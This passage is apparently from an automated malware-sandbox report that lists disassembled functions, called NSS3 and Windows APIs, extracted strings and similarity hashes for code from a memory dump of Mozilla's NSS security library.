Part of subcall function 6C5E6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C5E781D,?,6C5DBE2C,?), ref: 6C5E6C58
Part of subcall function 6C5E6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C5E781D), ref: 6C5E6C6F
Part of subcall function 6C5E6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C5E6C84
Part of subcall function 6C5E6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C5E6C96
Part of subcall function 6C5E6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C5E6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C5E6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C5E6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C5E6FF4

Strings

+`_l, xrefs: 6C5E6D0D

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`_l
API String ID: 1304971872-1736921323
Opcode ID: b2b5fde95845f03d01bed8ff07492622d51fdd48a8cff9f1d6f85f694d802d71
Instruction ID: a7fc7e4524dbc173b9f77e1a30170923edbd1cab0173573462a9442681c4a697
Opcode Fuzzy Hash: b2b5fde95845f03d01bed8ff07492622d51fdd48a8cff9f1d6f85f694d802d71
Instruction Fuzzy Hash: E5B161B1E0131D9FDF10DBA5DC84B9E7BB9AF09388F140124EA15E7A45EB31E914CBA1

Function 6C591FE0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C592007
calloc.MOZGLUE(00000001,00000084), ref: 6C592077
calloc.MOZGLUE(00000001,0000002C), ref: 6C5920DF
TlsSetValue.KERNEL32(00000000), ref: 6C592188
PR_NewCondVar.NSS3 ref: 6C5921B7
calloc.MOZGLUE(00000001,00000084), ref: 6C59221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C5922C2
GetLastError.KERNEL32 ref: 6C5922CD
free.MOZGLUE(00000000), ref: 6C5922DD

Part of subcall function 6C590F00: PR_GetPageSize.NSS3(6C590936,FFFFE8AE,?,6C5216B7,00000000,?,6C590936,00000000,?,6C52204A), ref: 6C590F1B
Part of subcall function 6C590F00: PR_NewLogModule.NSS3(clock,6C590936,FFFFE8AE,?,6C5216B7,00000000,?,6C590936,00000000,?,6C52204A), ref: 6C590F25

Strings

T pl, xrefs: 6C592361
X pl, xrefs: 6C59218E

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID: T pl$X pl
API String ID: 3559583721-3390162276
Opcode ID: ae66d31cd9ace62caf0736434a8ffa1a4e213784c5fe874c04b64285fc0368ad
Instruction ID: 95e2c4d347c5bc0c0ed10d2572120d7739bb247818b5444a04a5764f5250d100
Opcode Fuzzy Hash: ae66d31cd9ace62caf0736434a8ffa1a4e213784c5fe874c04b64285fc0368ad
Instruction Fuzzy Hash: 47917CB1B017419FDB20EF39DC49B5B7AF4BB06708F00492EE45AD6A40DB70A508CF96

Function 6C5ADDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5ADDDE

Part of subcall function 6C600FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5A87ED,00000800,6C59EF74,00000000), ref: 6C601000
Part of subcall function 6C600FF0: PR_NewLock.NSS3(?,00000800,6C59EF74,00000000), ref: 6C601016
Part of subcall function 6C600FF0: PL_InitArenaPool.NSS3(00000000,security,6C5A87ED,00000008,?,00000800,6C59EF74,00000000), ref: 6C60102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C5ADDF5

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C5ADE34
PR_Now.NSS3 ref: 6C5ADE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C5ADE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5ADEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C5ADEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C5ADED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C5ADEF0
PR_smprintf.NSS3(6C6DAAF9,(NULL) (Validity Unknown)), ref: 6C5ADF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5ADF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C5ADF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C5ADF33
free.MOZGLUE(00000000), ref: 6C5ADF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5ADF4B
free.MOZGLUE(00000000), ref: 6C5ADF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5ADF8E

Strings

{???}, xrefs: 6C5ADE8B
(NULL) (Validity Unknown), xrefs: 6C5ADEFA
%s%s, xrefs: 6C5ADEEB

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 144412b0d8c0adc40e8d2f50666c4cd68c4c1a618b296248080d0d6ea0bd4147
Instruction ID: bde243aaf0c9a540b2769d225217081e7aab5eba04d012c14561ff637438d16e
Opcode Fuzzy Hash: 144412b0d8c0adc40e8d2f50666c4cd68c4c1a618b296248080d0d6ea0bd4147
Instruction Fuzzy Hash: F751C4B1E001019BDB10EFA69C41AAF7BB5AF8A358F144438EC09E7B01E731E915CBE5

Function 6C5DAF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C5DAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5DAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5DAF83

Part of subcall function 6C6BD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6BD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5DAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C5DAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C5DAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C5DAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C5DB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C5DB028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C5DB041

Strings

ulParameterLen = 0x%p, xrefs: 6C5DAFD4
pulSignatureLen = 0x%p, xrefs: 6C5DB03C
nkl, xrefs: 6C5DB059, 6C5DB093
hSession = 0x%x, xrefs: 6C5DAF5E, 6C5DAF6E
pParameter = 0x%p, xrefs: 6C5DAFB9
ulDataLen = %d, xrefs: 6C5DB00A
(CK_INVALID_HANDLE), xrefs: 6C5DAF7C
C_SignMessage, xrefs: 6C5DAF41
pSignature = 0x%p, xrefs: 6C5DB023
pData = 0x%p, xrefs: 6C5DAFEF

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$nkl
API String ID: 1003633598-2905834296
Opcode ID: 1806580145a9c27e25ad93b9b228d655403875f83c08a6fe8fc57252bd1f4a9c
Instruction ID: a3c232a9535c24c5257dd0fe8c32755af5e0e5ecec0e3b25e4bf49a8e1b3163a
Opcode Fuzzy Hash: 1806580145a9c27e25ad93b9b228d655403875f83c08a6fe8fc57252bd1f4a9c
Instruction Fuzzy Hash: CF4184B6701245EFDB00AF54DD48A8A7BB2EB8231DF494078E50867612DF34D958CBAF

Function 6C5E2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C5E2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C5E2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C5E2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C5E2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C5B4F1C,?,-00000001,00000000,?), ref: 6C5E2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C5B4F1C,?,-00000001,00000000), ref: 6C5E2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C5E2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C5E2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C5E2EF8
PR_Unlock.NSS3(?), ref: 6C5E2F62
TlsGetValue.KERNEL32 ref: 6C5E2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C5E2F9E
PR_Unlock.NSS3(?), ref: 6C5E2FCA
TlsGetValue.KERNEL32 ref: 6C5E301A
EnterCriticalSection.KERNEL32(?), ref: 6C5E302E
PR_Unlock.NSS3(?), ref: 6C5E3066
PR_SetError.NSS3(00000000,00000000), ref: 6C5E3085
PR_Unlock.NSS3(?), ref: 6C5E30EC
TlsGetValue.KERNEL32 ref: 6C5E310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C5E3124
PR_Unlock.NSS3(?), ref: 6C5E314C

Part of subcall function 6C5C9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C5F379E,?,6C5C9568,00000000,?,6C5F379E,?,00000001,?), ref: 6C5C918D
Part of subcall function 6C5C9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C5F379E,?,6C5C9568,00000000,?,6C5F379E,?,00000001,?), ref: 6C5C91A0

Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907AD
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907CD
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907D6
Part of subcall function 6C5907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C52204A), ref: 6C5907E4
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,6C52204A), ref: 6C590864
Part of subcall function 6C5907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C590880
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,6C52204A), ref: 6C5908CB
Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(?,?,6C52204A), ref: 6C5908D7
Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(?,?,6C52204A), ref: 6C5908FB

PR_SetError.NSS3(00000000,00000000), ref: 6C5E316D

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 8dbfc6f1b2e22f909f4b2d2b1abccf6e27fe76dd04fa27397a1c80f93837b9a4
Instruction ID: 4466e98a4ec7e688e7f70a83968ec96aa1dce9bca807fca7f377aef2a3b52599
Opcode Fuzzy Hash: 8dbfc6f1b2e22f909f4b2d2b1abccf6e27fe76dd04fa27397a1c80f93837b9a4
Instruction Fuzzy Hash: 3BF1BEB5E00219EFDF00DF68DC84B9ABBB5BF09318F044569EC15A7721EB31A995CB81

Function 6C5C9FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C5C9FBE

Part of subcall function 6C5A2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C5A2F0A
Part of subcall function 6C5A2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C5A2F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C5CA015

Part of subcall function 6C5E1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C5E563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C5E195C
Part of subcall function 6C5E1940: EnterCriticalSection.KERNEL32(?,?,6C5E563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C5BEAC5,00000001), ref: 6C5E1970
Part of subcall function 6C5E1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C5BEAC5,00000001,?,6C5BCE9B,00000001,6C5BEAC5), ref: 6C5E19A0

PL_FreeArenaPool.NSS3(?), ref: 6C5CA067
PR_CallOnce.NSS3(6C702AA4,6C6012D0), ref: 6C5CA055

Part of subcall function 6C524C70: TlsGetValue.KERNEL32(?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524C97
Part of subcall function 6C524C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524CB0
Part of subcall function 6C524C70: PR_Unlock.NSS3(?,?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5CA07E
PR_CallOnce.NSS3(6C702AA4,6C6012D0), ref: 6C5CA0B1
PL_FreeArenaPool.NSS3(?), ref: 6C5CA0C7
PL_FinishArenaPool.NSS3(?), ref: 6C5CA0CF
PR_CallOnce.NSS3(6C702AA4,6C6012D0), ref: 6C5CA12E
PL_FreeArenaPool.NSS3(?), ref: 6C5CA140
PL_FinishArenaPool.NSS3(?), ref: 6C5CA148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5CA158
PL_FinishArenaPool.NSS3(?), ref: 6C5CA175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C5CA1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C5CA1B2
free.MOZGLUE(00000000), ref: 6C5CA1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C5CA1D6

Part of subcall function 6C5E55E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C5BEAC5,00000001,?,6C5BCE9B,00000001,6C5BEAC5,00000003,-00000004,00000000,?,6C5BEAC5), ref: 6C5E5627
Part of subcall function 6C5E55E0: PR_CallOnce.NSS3(6C702AA4,6C6012D0,?,?,?,?,?,?,?,?,?,?,6C5BEAC5,00000001,?,6C5BCE9B), ref: 6C5E564F
Part of subcall function 6C5E55E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5BEAC5,00000001), ref: 6C5E5661
Part of subcall function 6C5E55E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5BEAC5), ref: 6C5E56AF

Strings

security, xrefs: 6C5CA00F

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: ae00bf3e9888783174ca0d7bed909f44266139f26a6e320ebf81b1b723a7273e
Instruction ID: 4807a6070b8833e8723488967474cb5ebcc0a8c2b0ea80a13989a17ecd3c7a27
Opcode Fuzzy Hash: ae00bf3e9888783174ca0d7bed909f44266139f26a6e320ebf81b1b723a7273e
Instruction Fuzzy Hash: 3451E8B1B00209ABEB01CBE5DD45BAF7774AF8634CF104428E805BAB42EB75D949C797

Function 6C5D6D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C5D6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5D6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D6DC3

Part of subcall function 6C6BD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6BD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5D6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C5D6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C5D6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C5D6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C5D6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C5D6EB9

Strings

C_Digest, xrefs: 6C5D6D81
nkl, xrefs: 6C5D6E61, 6C5D6E95
*pulDigestLen = 0x%x, xrefs: 6C5D6EB4
pDigest = 0x%p, xrefs: 6C5D6E27
hSession = 0x%x, xrefs: 6C5D6D9E, 6C5D6DAE
ulDataLen = %d, xrefs: 6C5D6E0E
(CK_INVALID_HANDLE), xrefs: 6C5D6DBC
pulDigestLen = 0x%p, xrefs: 6C5D6E42
pData = 0x%p, xrefs: 6C5D6DF5

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nkl
API String ID: 1003633598-2963096691
Opcode ID: 64d58a1f8b6b8b51a02f7f0f39f86f4ac41686dac2ca9455ef8d93f8e4e911d9
Instruction ID: 4015f95e781c705531c0a5ff17bd805dd65cdfdd7c7893b855927275d61818a8
Opcode Fuzzy Hash: 64d58a1f8b6b8b51a02f7f0f39f86f4ac41686dac2ca9455ef8d93f8e4e911d9
Instruction Fuzzy Hash: AE41B7B5701245EFDB00EF58DD49B8B3BB1EB82319F454428E808A7612DF30E859CF9A

Function 6C5D9C40 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C5D9C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5D9C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D9CA3

Part of subcall function 6C6BD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6BD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5D9CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C5D9CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C5D9CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C5D9D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C5D9D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C5D9D42

Strings

nkl, xrefs: 6C5D9D5A, 6C5D9D91
hSession = 0x%x, xrefs: 6C5D9C7E, 6C5D9C8E
ulUsernameLen = %d, xrefs: 6C5D9D3D
(CK_INVALID_HANDLE), xrefs: 6C5D9C9C
pUsername = 0x%p, xrefs: 6C5D9D24
C_LoginUser, xrefs: 6C5D9C61
userType = 0x%x, xrefs: 6C5D9CD5
ulPinLen = %d, xrefs: 6C5D9D0B
pPin = 0x%p, xrefs: 6C5D9CF0

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser$nkl
API String ID: 1003633598-430201964
Opcode ID: dca4704178edf998657e9363e881c05ac3142bd160cfed2235667fbc6ae53ebf
Instruction ID: c2211c522cbb3c9d9187596768b6b51e506a8018b18c5ba90cd9e65efa665200
Opcode Fuzzy Hash: dca4704178edf998657e9363e881c05ac3142bd160cfed2235667fbc6ae53ebf
Instruction Fuzzy Hash: FA41C7B2701245EFDB00EF54DD48E8A3BB1EB8731EF454029E4096B612DF30E918CB9A

Function 6C5E4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5E4C4C
EnterCriticalSection.KERNEL32(?), ref: 6C5E4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C5E4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E4DB7

Part of subcall function 6C64DD70: TlsGetValue.KERNEL32 ref: 6C64DD8C
Part of subcall function 6C64DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C64DDB4

Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907AD
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907CD
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907D6
Part of subcall function 6C5907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C52204A), ref: 6C5907E4
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,6C52204A), ref: 6C590864
Part of subcall function 6C5907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C590880
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,6C52204A), ref: 6C5908CB
Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(?,?,6C52204A), ref: 6C5908D7
